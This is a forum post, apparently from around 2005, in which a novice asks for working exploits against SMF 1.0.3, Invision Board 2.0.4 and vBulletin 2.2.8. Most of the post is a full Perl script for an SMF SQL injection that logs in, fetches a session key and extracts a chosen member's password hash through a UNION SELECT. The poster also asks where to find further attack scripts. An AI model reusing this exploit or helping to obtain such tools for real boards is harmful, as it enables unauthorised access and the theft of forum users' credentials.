| Colton |
| Regular user |
 |
|
| Joined: Aug 23, 2005 |
| Posts: 5 |
|
|
|
 |
|
 |
|
I'm looking for some help on exploits for 3 boards,
first is the SMF 1.0.3 board, I've tried to modify this script:
| Code: |
#!/usr/bin/perl -w
################################################################################
# SMF Modify SQL Injection // All Versions // By James http://www.gulftech.org #
################################################################################
# Simple proof of concept for the modify post SQL Injection issue I discovered #
# in Simple Machine Forums. Supply this script with your username password and #
# the complete url to a post you made, and have permission to edit. 06/19/2005 #
################################################################################
use LWP::UserAgent;
if ( !$ARGV[3] )
{
print "Usage: smf.pl user pass target_uid modify_url\n";
exit;
}
print "###################################################\n";
print "# Simple Machine Forums Modify Post SQL Injection #\n";
print "###################################################\n";
my $user = $ARGV[0]; # your username
my $pass = $ARGV[1]; # your password
my $grab = $ARGV[2]; # the id of the target account
my $post = $ARGV[3]; # the entire url to modify a post you made
my $dump = '%20UNION%20SELECT%20memberName,0,passwd,0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' . $grab . '/*';
$post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;
my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you entered seems invalid!\n");
my $ua = new LWP::UserAgent;
$ua->agent("SMF Hash Grabber v1.0" . $ua->agent);
$ua->cookie_jar({});
print "[*] Trying $path ...\n";
my $req = new HTTP::Request POST => $path . "/index.php?action=login2";
$req->content_type('application/x-www-form-urlencoded');
$req->content('user=' . $user . '&passwrd=' . $pass . '&cookielength=-1');
my $res = $ua->request($req);
print "[*] Logging In ...\n";
# When a correct login is made, a redirect is issued, and no
# text/html is sent to the browser really. We put 1024 to be
# safe. This part can be altered in case of modded installs!
if ( length($res->content) < 1024 )
{
print "[+] Successfully logged in as $user \n";
my $sid = $ua->get($path . '/index.php?action=profile;sa=account');
# We get our current session id to be used
print "[*] Trying To Get Valid Sesc ID \n";
if ( $sid->content =~ /sesc=([a-f0-9]{32})/ )
{
# Replace the old session parameter with the
# new one so we do not get an access denied!
my $sesc = $1;
$post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/;
print "[+] Valid Sesc Id : $sesc\n";
print "[*] Trying to get password hash ...\n";
my $pwn = $ua->get($post);
if ( $pwn->content =~ />([a-z0-9]{32})<\//i )
{
print "[+] Got the password hash!\n";
print "[+] Password Hash : $1\n";
}
else
{
print "[!] Exploit Failed! Try manually verifying the vulnerability \n";
}
}
else
{
print '[!] Unable to obtain a valid sesc key!!';
exit;
}
}
else
{
print '[!] There seemed to be a problem logging you in!';
exit;
}
|
but it doesn't seem to function, I get all kinds of errors when I run it, does anyone know of a place I can grab a function perl script to pull this off?
Second, an Invsionboard 2.0.4, I have the perl script that worked on 2.0.3 and less, and it pulls all 0's for the hash, I don't know if there is anything that works on this version, My searches so far have been fruitless.
3rd, an oldie, a vBulletin 2.2.8, can't seem to find much on it, but its so old and there have been many updates I cant imagine not having a exploit that is simple to execute.
I'm running Debian Linux (Xandros) so must tools are just a bash shell away, I'm very new at this and would appreciate any assitance you can give. |
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 801
Members: 0
Total: 801
